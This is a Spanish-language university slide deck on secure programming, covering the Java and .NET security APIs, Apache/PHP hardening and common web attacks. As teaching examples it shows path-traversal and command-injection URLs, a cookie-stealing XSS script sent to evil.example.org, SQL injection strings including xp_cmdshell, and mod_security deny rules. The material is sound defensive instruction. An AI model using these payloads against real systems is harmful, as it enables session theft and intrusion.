Program Ac i on Segura

Embed Size (px)

Citation preview

  • 5/21/2018 Program Ac i on Segura

    1/107

    ProgramacinSegura

    Gustavo A. Isaza EcheverrySeguridad Informtica

    Programa de Ingeniera de Sistemas y Computacin

    Universidad de Caldas

  • 5/21/2018 Program Ac i on Segura

    2/107

    Agenda

    Conceptos generales

    APIS y Arquitecturas de Seguridad en

    Lenguajes de Programacin Seguridad en Java

    Seguridad .Net

    Seguridad en Apache, PHP, BD Seguras

    Seguridad CORBA

    Conclusiones

  • 5/21/2018 Program Ac i on Segura

    3/107

    La Seguridad es una medida NO un caracterstica

    Costo

    Usabilidad

    Parte de un diseo

    Ideas Previas

  • 5/21/2018 Program Ac i on Segura

    4/107

    No hay conciencia y las estadsticas de incidentes nomejoran!!!

    Falta de competencias

    Elproblema es del Admor Red / Oficial de SeguridadInformtico

    Desconocimiento de las arquitecturas, APIS,frameworks.. Seguros.

    Problemas?

  • 5/21/2018 Program Ac i on Segura

    5/107

    Problemas de seguridad

    Ausencia infraestructura seguridad

    Errores administrador/usuario

    ExploitsProgramar bien !!!

    entender cmo funcionan las cosas

    aprender buenas polticas

    aprender trampas habituales

  • 5/21/2018 Program Ac i on Segura

    6/107

    Es extremadamente sencillo equivocarse

    Mal diseo del lenguaje

    Malas prcticas de programacin

    Hay lenguajes inmunes, pero no siempre podremos

    usarlos

    En C, cuidado con: strcpy, strcat,sprintf, gets, scanf

    Desbordamientos

  • 5/21/2018 Program Ac i on Segura

    7/107

    Los desbordamientos de buffer se basan enintroducir el cdigo en el espacio reservadopara las variables locales (los argumentos de

    un mtodo / funcin) y despus modificar ladireccin de retorno/regreso (RET), donderegresa la informacin, para que apunte a unoffset en donde hemos introducido nuestrocdigo fuente.

    Este cdigo puede ser - por ejemplo - unaShellCode, : bash, sh, entre otros.

    El Desbordamiento del Buffer: Buffer OverFlow

  • 5/21/2018 Program Ac i on Segura

    8/107

    Programacin defensiva. Cuidado con:strcpy() strcat() sprintf() scanf()sscanf() fscanf() vfscanf() vsprintf

    vscanf() vsscanf() streadd()strecpy() strtrns()

    Evitarlas siempre que sea posible, casi todas tienenalternativas razonables.

    Desbordamientos: defensa

  • 5/21/2018 Program Ac i on Segura

    9/107

    gets() getchar(), fgetc(), getc(),read()

    Consejo, comprobar: Siempre los lmites! Longitud de los datos antes de almacenarlos No pasar datos excesivamente grandes a otrasfunciones

    Desbordamientos: ms con las entradas

  • 5/21/2018 Program Ac i on Segura

    10/107

    Seguridad en Java

    Seguridad General

    Arquitectura de la Seguridad

    Arquitectura de la Criptografa

    Poltica de permisos

    API para bloqueos de privilegios

    Certificados X.509 y listas de certificadosrevocados

  • 5/21/2018 Program Ac i on Segura

    11/107

    VM

    Tres niveles de seguridad:

    Cargador de clases Verificador

    Gestores de seguridad

    Seguridad en Java

  • 5/21/2018 Program Ac i on Segura

    12/107

    Seguridad en Java

    1.El cargador de clases(Class Loader),que determina como y cuandopueden cargar cdigo los programas y garantiza que los componentesdel sistema no han sido reemplazados.

    2.El verificador de archivos de clases (Class file verifier), quegarantiza que el cdigo tiene el formato correcto, que el bytecode no

    viola las restriciones de seguridad de tipos de la JVM, que las pilasinternas no puedan desbordarse ni por arriba ni por abajo y que lasinstucciones en bytecode tengan parmetos de tipos correctos.

    3.El gestor de seguridad(Security Manager),que controla el acceso a

    los recursos en tiempo de ejecucin. Los recursos sobre los que tienecontrol son multiples: E/S de red y ficheros, creacin de cargadores declases, manipulacin de hilos de ejecucin, ejecucin de programasexternos (del SO), detener la JVM, cargar cdigo nativo en la mquinavirtual, realizar determinadas operaciones en el entorno de ventanas o

    cargar ciertos tipos de clases.

  • 5/21/2018 Program Ac i on Segura

    13/107

  • 5/21/2018 Program Ac i on Segura

    14/107

    Usando el Security Manager

    Class MySecurityManager extends SecurityManager {. . . . .}try {System.setSecurityManager(new MySecurityManager(java.policy"));

    } catch (SecurityException se) {System.out.println("SecurityManager already set!");}

    public boolean canRead() {SecurityManager security = System.getSecurityManager();

    if (security != null) {security.checkRead(path);}return fs.checkAccess(this, false);

    }

  • 5/21/2018 Program Ac i on Segura

    15/107

    Security Manager

    Identity- Bases para las decisiones de seguridad OriginDesde donde proviene el cdigo SignatureA qu cdigo corresponde?

    java.security.CodeSource PermissionEncapsula el acceso a una operacinparticular Incluye un objetivo y una accin

    p = new SocketPermission(www.utp.edu.co, connect);

    p = new FilePermission(/tmp/file1, *);

  • 5/21/2018 Program Ac i on Segura

    16/107

    Arquitectura criptogrficaDesde el punto de vista de la seguridad, el conjunto de clasesde seguridad distribuidas con el Java 2 SDK pueden dividirseen dos subconjuntos:

    1.Clases relacionadas con el control de acceso y lagestin de permisos.

    2.Clases relacionadas con la Criptografa.

    Seguridad en Java

    Arquitectura Criptogrfica de Java (JCA) yla Extension Criptogrfica de Java (JCE).

  • 5/21/2018 Program Ac i on Segura

    17/107

    Seguridad en Java

    Certification Path

    Java Authentication and Authorization Service (JAAS)

    Java Generic Security Services (Java GSS-API) Java Cryptography Extension (JCE)

    Java Secure Socket Extension (JSSE)

    Simple Authentication and Security Layer (SASL)

  • 5/21/2018 Program Ac i on Segura

    18/107

    Arquitectura de la Criptografa

    Java Cryptography Architecture (JCA)

    Introduccin

    JDK 1.1 Resmenes de mensajes

    Firmas digitales

    Java 2 SDK

    resmenes de mensajes X.509

    Arquitectura para grano fino, flexible, extensible ycontrol de acceso altamente configurable.

  • 5/21/2018 Program Ac i on Segura

    19/107

    Arquitectura de la Criptografa

    Proveedores de servicios criptogrficos Firma digital (DSA)

    MD5 y SHA-1 Generador de Claves DSA

    Certificados X.509

    KeyStore

  • 5/21/2018 Program Ac i on Segura

    20/107

    JCE

    Java Cryptography Extension (JCE)

    Introduccin

    Marco de trabajo y de implementacin para elcifrado.

    Generacin y comprobacin de claves

    Algoritmos de autenticacin de mensajes (MAC)

  • 5/21/2018 Program Ac i on Segura

    21/107

    JCE

    Introduccin Ayuda para el cifrado simtrico

    Ayuda para el cifrado asimtrico Ayuda para el cifrado en bloque

    Cifradores en flujo

    Flujos seguros

    Objetos sellados

  • 5/21/2018 Program Ac i on Segura

    22/107

    JCE

    API JCE

    Cifrado simtrico en bloque DES, RC2 e IDEA

    Cifrado simtrico en flujo RC4 Encriptacin asimtrica RSA

    Comprobacin de claves

  • 5/21/2018 Program Ac i on Segura

    23/107

    JCE

    API JCE

    Cifrado Password-Based(PBE)

    Algoritmo de autentificacin de claves (MAC)

    Proveedor de Servicios SunJCE Una implementacin del DES (FIPS PUB 46-1),

    Triple DES, y algoritmos de encriptacin Blowfishen el Electronic Code Book (ECB), Cipher BlockChaining (CBC), Cipher Feedback (CFB), Output

    Feedback (OFB), y modos Propagating CipherBlock Chaining (PCBC).

    Un generador de par de claves Diffie-Hellman paragenerar un par de valores pblicos y privadosconvenientes para el algoritmo de Diffie-Hellman.

  • 5/21/2018 Program Ac i on Segura

    24/107

    JCE

    Proveedor de Servicios SunJCE Una implementacin de HMAC-MD5 y algoritmos

    keyed-hashing HMAC-SHA1 definido en RFC 2104.

    Una implementacin del esquema de rellenodescrito en PKCS #5.

    Una implementacin del keystore para el tipopropietario del keystore llamando "JCEKS".

  • 5/21/2018 Program Ac i on Segura

    25/107

    Ejemplos

    HMAC-MD5

    import java.security.*;import javax.crypto.*;

    public class initMac {

    public static void main(String[] args) throws Exception {

    KeyGenerator kg = KeyGenerator.getInstance("HmacMD5");

    SecretKey sk = kg.generateKey();

    Mac mac = Mac.getInstance("HmacMD5");mac.init(sk);byte[] result = mac.doFinal("Hi There".getBytes());

    }

    }

  • 5/21/2018 Program Ac i on Segura

    26/107

    Seguridad en Java

    Control de accesoGranularidad

    Tools(jar, keytool, jarsigner, policytool)

    Modelo de Permisos

    Java.security.permission

    Polticas de Seguridad

    PolicyTool

    Gestor de Seguridad: java.security.manager

  • 5/21/2018 Program Ac i on Segura

    27/107

    Clase JCA 1.2

    Funcin

    java security Message

    Digest

    Genera resumen de mensajes (hash).

    java security Signature Firmado de datos y verificacin firmas.

    java security KeyPairG

    eneratorGenerar pares de claves (pblica y privada) para un algoritmo.

    java security KeyFactor

    y

    Convertir claves de formato criptogrfico a especificaciones declaves y vice versa

    java security certificate

    CertificateFactory

    Crear certificados de clave pblica y listas de revocacin(CRLs).

    java security KeyStore Crear y gestionar un almacen de claves (keystore).

    java security lgorithm

    Parameters

    Gestionar los parmetros de un algoritmo,incluyendocodificacin y descodificacin.

    java security lgorithm

    ParameterGeneratorGenerar un conjunto de parmetros para un algoritmo.

    java security SecureRa

    ndom

    Generar nmeros aleatrorios o pseudo aleatrorios

    Motor JCA

  • 5/21/2018 Program Ac i on Segura

    28/107

    Clase JCE 1.2 Funcin

    java.crypto.Ciphe

    rProporciona encriptacin y desencriptacin.

    java.crypto.KeyAgreement Proporciona un protocolo de intercambio de claves.

    java.crypto.KeyG

    enerator

    Proporciona un generador de claves simtricas.

    java.crypto.Mac Proporciona un algoritmo de autentificacin demensajes.

    java.crypto.SecretKeyFactory Representa una factora de claves secretas.

    Motor JCE

  • 5/21/2018 Program Ac i on Segura

    29/107

    Seguridad en Java

    JCA & JCE (Java Crypto Architecture, Java CryptoExtensions)

    Javax.crypto.interfaces

    DHKey DHPrivateKey

    DHPublicKey

    Sockets Seguros (JSSE)

    Java.security.Cert

    X509Certificate, X509CRL

    X509Extension

  • 5/21/2018 Program Ac i on Segura

    30/107

    El paquete java.security

    El paquete java.security consiste bsicamente en clasesabstractas e interfaces que encapsulan conceptos de seguridadcomo certificados, claves, resumenes de mensajes y firmasdigitales.

    En el JCA los proveedores pueden implementar tres clases:KeyPairGenerator.Se emplea para crear claves pblicas yprivadas.MessageDigest.Prorciona la funcionalidad de algoritmos de

    resumen de mensajes como el MD5 y el SHA.Signature.Se emplea para el firmado digital de mensajes.

    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");

    Seguridad en Java

  • 5/21/2018 Program Ac i on Segura

    31/107

    El paquete java.security.cert

    Aade soporte para generar y usar certificados, incluye clases einterfaces especficas para soportar certificados X.509.

    CertificateFactory. Se emplea para generar certificados ylistas de revocacin (CRL).Certificate. Es una clase para agrupar certificados dediferentes formatos pero usos comunes importantesCRL.Clase abstracta para gestionar distintos tipos de listasde revocacin de certificados.X509Certificate. Clase abstracta para representar

    certificados X.509.X509CRL. Clase abstracta para una lista de revocacin decertificados X.509.X509CRLEntry.Es una clase abstracta para las entradas delas listas de revocacin

    Seguridad en Java

  • 5/21/2018 Program Ac i on Segura

    32/107

    Seguridad en Java

    Ejemplos:

    Perm = newjava.io.FilePermission(/tmp/abc,read) //AWT

    Permission, NetPermission

    MessageDigestm =MessageDiggest.getInstance(MD5)

    Java.security.MessageDiggest

    Java.security.signature Java.security.KeyPairGenerator

  • 5/21/2018 Program Ac i on Segura

    33/107

    Extensin de Sockets Seguros de Java (JSSE)http://java.sun.com/products/jsse/

    Servicio de Autentificacin y Autorizacin de Java(JAAS)

    http://java.sun.com/products/jaas/

    Seguridad en Java

  • 5/21/2018 Program Ac i on Segura

    34/107

    Arquitectura de seguridad de .NET

  • 5/21/2018 Program Ac i on Segura

    35/107

    Arquitectura de seguridad de ASP.NET

    Configurar la Seguridad en NET

  • 5/21/2018 Program Ac i on Segura

    36/107

    Configurar la Seguridad en .NET

  • 5/21/2018 Program Ac i on Segura

    37/107

    ACCESO SEGURO A DATOS EN .NETAcceso a BD de datos mediante ADO.NETFormas seguras de acceder a la BDAlmacenamiento seguro de secretos

    AUTENTICACIN MEDIANTE FORMULARIOS EN .NETAutenticacin mediante formularios bsicaAutenticacin mediante formularios y XMLAutenticacin mediante formularios y base de datosAutenticacin mediante formularios y tickets personalizadosAutenticacin mediante formularios sin cookies

    AUTENTICACIN MEDIANTE WINDOWS EN .NETAutenticacin bsicaAutenticacin mediante resmenesAutenticacin integrada de WindowsProteccin de directorios y documentosRepresentacin de usuario

    AUTENTICACIN MEDIANTE CERTIFICADOS EN .NETIntroduccin a los certificados digitalesCriptografa con .NETAutoridades de certificacinCanales seguros con SSLAutenticacin mediante certificados digitalesAcceso a la informacin de los certificados desde ASP.NET

    SEGURIDAD EN SQL SERVERSEGURIDAD EN SERVICIOS WEB XML DESARROLLADOS CON .NET

    Seg

    uridad

    en

    .NET

  • 5/21/2018 Program Ac i on Segura

    38/107

    Seguridad de cdigoSeguridad en Windows

    Autenticacin de usuarios

    Logon interactivo

    Autenticacin en red

    Control de acceso basado en objetos Permite limitar los recursos al usuario autenticado

    Limitacin con aplicaciones no confiadas por el

    usuario Mecanismo Todo - Nada

  • 5/21/2018 Program Ac i on Segura

    39/107

    Seguridad de cdigoSolucin .NET

    Desarrollada sobre la seguridad Windows

    Nunca podremos tener mayores privilegios

    Centrada en el cdigo, no en el usuario

    Identificacin del cdigo por evidencias

    Permite distintos niveles de seguridad

    Muy granular

    Conjunto estndar de permisos ampliable Fcil de administrar

    Distintos niveles de administracin

  • 5/21/2018 Program Ac i on Segura

    40/107

    Seguridad de cdigoPermisos

    Proteccin de recursos y operaciones

    SecurityPermission

    SocketPermission

    WebPermission

    PrintingPermission

    Acceso al interfaz de usuario

    UIPermission

    Proteccin de ficheros y directorios

    FileIOPermission

    FileDialogPermission

  • 5/21/2018 Program Ac i on Segura

    41/107

    Seguridad de cdigoPermisos (II)

    Acceso al entorno, registro y metadatos

    EnvironmentPermission

    RegistryPermission

    ReflectionPermission

    DNSPermission

    EventLogPermission

    ServiceControllerPermission

  • 5/21/2018 Program Ac i on Segura

    42/107

    Seguridad de cdigoPermisos (III)

    Proteccin de datos

    DirectoryServicesPermission

    IsolatedStorageFilePermission

    OleDbPermission SqlClientPermission

    MessageQueuePermission

    PerformanceCounterPermission

    Autenticacin PrincipalPermission

  • 5/21/2018 Program Ac i on Segura

    43/107

    Seguridad basada en rolesAutenticacin y autorizacin

    Autenticacin

    Proceso que verifica la identidad del usuario

    Autorizacin

    Proceso que determina si el usuario puede realizar una

    operacin determinada

    Autenticacin .NET

    Windows

    Personalizable

    Slo en ASP.NET Forms && Passport

    Autorizacin .NET

  • 5/21/2018 Program Ac i on Segura

    44/107

    Seguridad basada en rolesIdentities, principals

    Identity

    Encapsula informacin sobre un usuario

    Principal

    Representa el contexto de seguridad sobre el que corre la

    aplicacin

    Incluye: Usuario actual

    Roles del usuario actual

    Tres tipos Windows

    Generic

    Custom

  • 5/21/2018 Program Ac i on Segura

    45/107

    Seguridad basada en rolesAutorizacin de Principals

    If (MyPrincipal.IsInRole())

    De forma imperativa con PrincipalPermission

    p = new PrincipalPermission(DOMAIN\\Usuario)p.Demand()

    De forma declarativa con PrincipalPermissionAttribute

    [PrincipalPermissionAttribute(SecurityAction.Demand, Name =DOMAIN\\Usuario,]

    Vlido para cualquier tipo de Principal

    Sin necesidad de cambios

  • 5/21/2018 Program Ac i on Segura

    46/107

    Apache && PHP

    Seguridad

  • 5/21/2018 Program Ac i on Segura

    47/107

    Consideraciones

    Quin tiene acceso fsico?

    Quin tiene acceso shell?

    Apache escribe en los filesystem?

    Limitar los post/get, cookies, sesiones?

  • 5/21/2018 Program Ac i on Segura

    48/107

    Recomendaciones bsicas

    Deshabilitar los servicios no usados, actualizar elservidor, usar los archivos de configuracinrecomendados

    Habilitar logwatch y logcheck y actualizar los reportes

    Habilitar una herramienta de verificacin de integridadde archivos

    configurar iptablesPorts 22, 80, 443 tomcat?

  • 5/21/2018 Program Ac i on Segura

    49/107

    Asegurando Apache

  • 5/21/2018 Program Ac i on Segura

    50/107

    Configurando Apache

    Deshabilitar servicios no indispensables

    Verificar los bugtracks y actualizar

    Proteger los directorios /var/www/

    Crear un directorio personalizado /var/www/error Habilitar los .htaccess y proteger los archivos de users y

    password del http

  • 5/21/2018 Program Ac i on Segura

    51/107

    mod_dosevasive Fcil de configurar

    Puede ayudar a evadir ataques de DoS bloqueandodirecciones ip o URLs temporalmente.

    LoadModule dosevasive20_module modules/mod_dosevasive20.so

    DOSHashTableSize 3097DOSPageCount 2DOSPageInterval 1DOSSiteCount 50

    DOSSiteInterval 1DOSBlockingPeriod 10DOSEmailNotify [email protected] "/tmp/mod_dosevasive (make writable by apache only)

    mailto:[email protected]:[email protected]
  • 5/21/2018 Program Ac i on Segura

    52/107

    Caractersticas mod_security

    Los filtros se aplican antes de ejecutar los scripts

    Soporta SSL

    Entienden el protocolo http

    Hace logging completo incluyendo post data Las reglas son personalizadas usando expresiones

    regulares y pueden ser aplicadas a niveles de virtualhosts

  • 5/21/2018 Program Ac i on Segura

    53/107

    Ejemplo mod_security

    SecFilterEngine On# Prevent OS specific keywords

    #index.php?include=filenameSecFilter /etc/passwd

    # Prevent path traversal (..) attacksSecFilter "\.\./"

    # Very crude filters to prevent SQL injection attacksSecFilter "delete[[:space:]]+from"SecFilter "insert[[:space:]]+into"SecFilter "select.+from"

  • 5/21/2018 Program Ac i on Segura

    54/107

    Revisar el Servidor

    Nmap (nmapIsV servidor)

    Nessus http://www.nessus.org

    CIS Linux Benchmark Scanhttp://www.cisecurity.org/bench_linux.html

  • 5/21/2018 Program Ac i on Segura

    55/107

    Seguridad en PHP

  • 5/21/2018 Program Ac i on Segura

    56/107

    Tipos de Ataques a PHP

    Ejecucin de comandos y/o escribir en los filesystem Sql injection Session Hijacking

    Cross Site Scripting (xss)

    Directory Transversal Attack

  • 5/21/2018 Program Ac i on Segura

    57/107

    Directory Transversal AttackEste fallo es muy comn y simple. Consiste en realizar undescenso de directorios usando la referencia ../ al directoriopadre.Un ejemplo de esto seria el siguiente:

    PHP para mostrar ficheros de texto

  • 5/21/2018 Program Ac i on Segura

    58/107

    Contenido del programa show_text_file.php

    Este programa de ejemplo esta escrito en PHP y simplementelee el archivo especificado y lo muestra, tal y como vemos en elsiguiente escenario:

    Ejemplo:

    victima.com/cgi-bin/show_text_file.php?filename=introduccion.txtSalida:PHP para mostrar ficheros de texto

    Esto es un ejemplo

    esta es la lnea 1esta es la lnea 2esta es la lnea 3

  • 5/21/2018 Program Ac i on Segura

    59/107

    Veamos ahora lo que pasa si usamos el escaladode directorios:

    Ejemplo:

    www.victima.com/cgi-bin/show_text_file?filename=../../../../../etc/passwd

    PHP para mostrar ficheros de textoroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/sh

    bin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:100:sync:/bin:/bin/syncgames:x:5:100:games:/usr/games:/bin/sh (... etc)

  • 5/21/2018 Program Ac i on Segura

    60/107

    Command Execution Attack

    #!/usr/bin/perlprint "Content-type:text/html\n\n";print

  • 5/21/2018 Program Ac i on Segura

    61/107

    El usuario como atacante podra introducir un carcter quefuera interpretado de una forma especial por la shell.

    Ejemplos de tales caracteres son : ; (separa 2 comandosdistintos) | (pipe) &, etc.Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirvepara ejecutar 2 comandos distintos en una misma lnea. Porejemplo echo hola; echo mundo sacara por pantalla hola

    mundo.Veamos que sucede si introducimos un ;http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id

    Salida:Resolviendo Dominio falsodominio;/usr/bin/idServer:ganimedes Address: 172.26.0.5#53 ** server can't findfalsodominio: NXDOMAIN uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • 5/21/2018 Program Ac i on Segura

    62/107

    Usarlas para determinar lo que es vlido Lo que no encaje, es invalido Casi todos los lenguajes incluyen bibliotecas Hay ligeras diferencias Podemos utilizar expresiones regulares para aceptar lo

    que est permitido. Ejemplo: El fichero debe estar en c: o d: El camino contiene una serie de barrasinvertidas y caracteres alfanumricos

    El nombre va detrs del camino, esalfanumrico, de 32 caracteres como mximo,seguido de un punto y termina con txt, gif, jpg

    Expresiones regulares

    [cd]:(?:\\\w+)+\\\w{1,32}\.(txt|jpg|gif)$

  • 5/21/2018 Program Ac i on Segura

    63/107

    Asegurando PHP

    Default php.ini < V.4.8; WARNING ;; This is the default settings file for new PHP installations.; By default, PHP installs itself with a configuration suitable for; development purposes, and *NOT* for production purposes.

    Actualizar instalaciones Hay mucha vulnerabilidades en el archivo de

    configuracin (GLOBAL_VARS, SESSIONS, etc)

  • 5/21/2018 Program Ac i on Segura

    64/107

    Configuraciones para asegurar PHP

    disp lay_errors = Off (turn on w ith ini_set or .htaccess)

    log_errors = On

    error_report ing = E_ALL (better error report ing)

    sessio n.save_path=/opt/php/session sessio n.gc_maxl i fet ime=600

    (ten m inutes of inact iv i ty)

    safe_mode = On (enable if po ss ible)

    safe_mode_gid = On (enable if po ss ible)

  • 5/21/2018 Program Ac i on Segura

    65/107

    Ms configuraciones

    register_globals = Off Never turn on Too easy to write insecure code Auto initializes variables from Get/Post/Cookie data

    URL= index.php?administrator=xyz

  • 5/21/2018 Program Ac i on Segura

    66/107

    Eliminar Javascript y reducir

    ataques XSSUse preg_replace() on

    javascript: onclick ondblclick onmousedownonmouseup onmouseoveronmousemove onmouseout onkeypress

    onkeydown onkeyup

  • 5/21/2018 Program Ac i on Segura

    67/107

    Register Globals

    Est deshabilitado por defecto en PHP superiores a la 4.2, norepresenta una vulnerabilidad pero si un riesgo

    Se debera trabajar register_globals deshabilitado

    Con register_globalshabilitado, esta pginapuede ser llamada con?authorized=1 en lacadena de consulta yse puede hacer unbypass para esteacceso.

    El Mtodo de despacho

  • 5/21/2018 Program Ac i on Segura

    68/107

    Asegurar que el filtro dedatos no puede sersaltadoAsegurar que los datosinvlidos no puede

    interpretados como datosvlidosIdentificar los datos deorigen

    El Mtodo de despacho

    El Mt d i l d

  • 5/21/2018 Program Ac i on Segura

    69/107

    El Mtodo include

    Filt

  • 5/21/2018 Program Ac i on Segura

    70/107

    Filtros

  • 5/21/2018 Program Ac i on Segura

    71/107

    Reporte de Errores

  • 5/21/2018 Program Ac i on Segura

    72/107

    Reporte de Errores

    error_reportingEsta directiva configura el nivel de reporte de errores, es recomendadohabilitarlo como E_ALL tanto para ambientes de desarrollo como deproduccin

    display_errorsCuales errores deben ser mostrados en la pantalla. (ON: Paradesarrollo OFF: para Produccin)

    log_errorsQu errores deben ser escritos en un archivo de logs. Debe estar en

    ON

    error_logIndica la localizacin de los archivos de logs.. Revisar permisos!!!!

  • 5/21/2018 Program Ac i on Segura

    73/107

    Posible Spoofing desde el procesamiento deForms

    http://www.atacame.com/form.html :

    redgreenblue

  • 5/21/2018 Program Ac i on Segura

    74/107

    Cross-Site Scripting

    Explotar la confianza que un usuario tiene sobre un sitio

    Generalmente en WebSites que muestran datos remotos

    Si se muestra el contenido que proviene desde unafuente remota son los filtros apropiados, se puedetener una vulnerabilidad de XSS.Los datos remotos no son solo variables que vienendesde el cliente, puede serlo un banner, email,syndicated blog.

  • 5/21/2018 Program Ac i on Segura

    75/107


    Ejemplo de un message board:

  • 5/21/2018 Program Ac i on Segura

    76/107

    Este mensaje adiciona
    a cualquier entrada delusuario, y anexa esto a un archivo, luego muestra el

    contenido del archivoSi el usuario ingresa:

    document.location =

    'http://evil.example.org/steal_cookies.php?cookies=' +document.cookie

    El siguiente usuario que visite el message boardcon JavaScript habilitado es redirigido a evil.example.org,y cualquier cookie asociada con el sitio actual es incluidaen la cadena de consulta del URL. Aqu todo est a laimaginacin del atacante

  • 5/21/2018 Program Ac i on Segura

    77/107

    Filtrar los datos externosUsar funciones existentes como:

    htmlentities(),

    strip_tags(), y utf8_decode()

    Disminuir los riesgos XSS

  • 5/21/2018 Program Ac i on Segura

    78/107

    Interaccin con bases de datos.Generalmente se utilizan conexin a SMBD usandocredenciales para autenticacin:

    Exponer las credenciales de Acceso

  • 5/21/2018 Program Ac i on Segura

    79/107

    Buena prctica utilizar mdulos.

    /path/to/secret-stuff, que solamente root pueda ( NO nobody):SetEnv DB_USER "myuser"SetEnv DB_PASS "mypass"Incluir este archivo dentro del httpd.conf :

    Include "/path/to/secret-stuff"Ahora puede usarse desde PHP $_SERVER['DB_USER'] y$_SERVER['DB_PASS'] en el cdigo.

    No solamente no hay que volver a escribir el username y el

    password en los scripts, tambin el WebServer no puede leer elarchivo secret-stuff, as que otros usuarios no pueden escribirscripts que lean las credenciales de acceso; obviamente estasvariables no pueden quedar expuestas en phpinfo() oprint_r($_SERVER).

  • 5/21/2018 Program Ac i on Segura

    80/107

    HTTP no tiene estado, no hay relacin entre peticionessucesivas de los clientesLas cookiesse introdujeron para proporcionar una formade obtenerlo

    No solucionan completamente el problema:Tamao limitadoManejadas por el clienteLos objetos de sesin son conjuntos de variables en ellado del servidor que mantienen informacin sobre el

    estadoAhora hace falta asociarlas con el usuario: elidentificador de sesin (session id)

    Sesiones

  • 5/21/2018 Program Ac i on Segura

    81/107

    Si un usuario es capaz de conseguir el identificador deusuario de otro, tendremos problemas Cmo?

    Adivinarla, calcularla, fuerza bruta, prueba

    y error XSS Referers Husmeadores (packet sn i ff ing)

    Robo de sesiones

    S

  • 5/21/2018 Program Ac i on Segura

    82/107

    Sesiones

    El identificador de la sesin puede ser una piezaimportante para el atacanteHay 3 formas de obtener este ID:

    1. Prediction2. Capture

    3. Fixation

    PredictionConsiste en adivinar el identificador de la sesin.

    Capturaruna sesin vlida es el tipo ms comn de ataques.Muchas de los IDs de las sesiones son propagados en cookies ovariables GET

    Fixationes un mtodo simple de obtener un ID vlido de sesin.

    Con los mtodos session_start()se puede abrir la vulnerabilidad

    Criptografa en PHP

  • 5/21/2018 Program Ac i on Segura

    83/107

  • 5/21/2018 Program Ac i on Segura

    84/107

  • 5/21/2018 Program Ac i on Segura

    85/107

    Es una librera que proveesoporte para 12 algoritmos

    hashCRC32,HAVAL160,MD5,CRC32B.SHA1TIGER

    http://www.phpclasses.org/browse/class/20.html

    Mhash

    Clases en PHP

  • 5/21/2018 Program Ac i on Segura

    86/107

    AzDGCrypt

    AzDGPasswordGenerator

    BmpCrypt

    Crypt Class

    Cryptography

    Symmetric Block CipherUsing Binary XOR

    ctlCipherSaber

    Encrypt MD5 64

    Encryption&&Decryption with Rijndael256

    SSH && SSL inPHP

  • 5/21/2018 Program Ac i on Segura

    87/107

    Seguridad en

    aplicaciones Web

  • 5/21/2018 Program Ac i on Segura

    88/107

    Aplicaciones Web

    Cuando se instalen aplicaciones web libres siempreestar atento a las advertencias de seguridad

    Matener un backup de las bases de datos

    Estar familiarizado sobre como actualizar la aplicaciones

    Usar modo seguro en lo posible

  • 5/21/2018 Program Ac i on Segura

    89/107

    Seguridad en SQL

  • 5/21/2018 Program Ac i on Segura

    90/107

    Ataque contra un Gestor de Bases de Datos Relacionalque aprovecha la vulnerabilidad de una aplicacin clientedel mismo.

    Dicha vulnerabilidad consiste en permitir mandarinstrucciones SQL adicionales a partir de un campo o unparmetro de entrada - por lo que se dice han sido"inyectadas".

    SQL Injection

  • 5/21/2018 Program Ac i on Segura

    91/107

    El ataque "SQL Injection" es posible dadas ciertascaractersticas del lenguaje- SQL que lo dotan de

    flexibilidad:Poder embeber comentarios en una sentencia SQLPoder escribir varias sentencias SQL juntas yejecutarlas en bloque.Poder realizar consultas de metadatos por medio de

    "tablas de sistema".

    SQL Injection

    SQL Injection

  • 5/21/2018 Program Ac i on Segura

    92/107

    Una aplicacin de acceso a datos que emplea entradasde usuario como parmetros de una consulta SQLcomn. Es tpico que este tipo de consultas seanconstruidas dinmicamente utilizando sentencias SQLcon concatenacin de variables, al estilo:

    SQL Injection

    "SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1=" + mValor [+ ...]

    SQL Injection

  • 5/21/2018 Program Ac i on Segura

    93/107

    Donde mValoresta dado por una entrada de usuario.

    Son stas entradas las puertas a un SQL Injection yaque, dependiendo del tipo de dato de mValor, si en lugarde la entrada esperada se coloca:

    SQL Injection

    a) ' Or 1=1 --b) 0 Or 1=1 --c) #01/01/01# Or 1=1 --

    "SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1='' Or 1=1 -- lo que siga no importa"

    SQL Injection

  • 5/21/2018 Program Ac i on Segura

    94/107

    Lo que se consigue es de hacer vlida la consulta al aadir

    una clausula OR que siempre ser cierta (1=1) as como deobligar al intrprete SQL a omitir el resto de la sentenciaSQL original al introducir el guin doble (--) que le indicaque lo subsiguiente es un comentario.

    El atacante puede, por ejemplo, tener acceso a la aplicacinsin necesidad de contar con las credenciales adecuadas.

    SQL Injection

    ' UNION SELECT id, name, '', 0,'' FROM sysobjects

    WHERE xtype='U' --

    '; EXEC xp_cmdshell 'net stop sqlserver', no_output

    Protecciones SQL Injection

  • 5/21/2018 Program Ac i on Segura

    95/107

    Existen ciertos principios a considerar para protegernuestras aplicaciones de un SQL Injection:

    No confiar en la entrada del usuario.No utilizar sentencias SQL construidas

    dinmicamente.No utilizar cuentas con privilegios administrativos.No proporcionar mayor informacin de lanecesaria.

    Protecciones SQL Injection

  • 5/21/2018 Program Ac i on Segura

    96/107

    Escapar los Datos

    Usar mysql_escape_string()addslashes()

    String s = inputSQLs = inputSQL.Replace("'", "''")s = s.Replace("[", "[[]")s = s.Replace("%", "[%]")s = s.Replace("_", "[_]")

    Private Function string SafeSqlLiteral( _ByValinputSQL AsString) AsStringReturninputSQL.Replace("'", "''")End Function'...DimsafeSQL AsString = SafeSqlLiteral(Login.Text)

    DimmyCommand AsSqlDataAdapter = _NewSqlDataAdapter("SELECT au_lname, au_fname " & _"FROM authors WHERE au_id = '" & safeSQL & "'", _myConnection)

  • 5/21/2018 Program Ac i on Segura

    97/107

    Seguridad en CORBA

  • 5/21/2018 Program Ac i on Segura

    98/107

    Al igual que todas las especificaciones de la OMG, la deCORBAsec es larga y tediosa

    Un agente usuario de Corba debe presentar suscredenciales, es decir, sus atributos de seguridad:

    IdentificacinPrivilegios

    Se maneja el concepto de dominios de seguridad y depolticas de seguridad

    CorbaSec : algunos principios

  • 5/21/2018 Program Ac i on Segura

    99/107

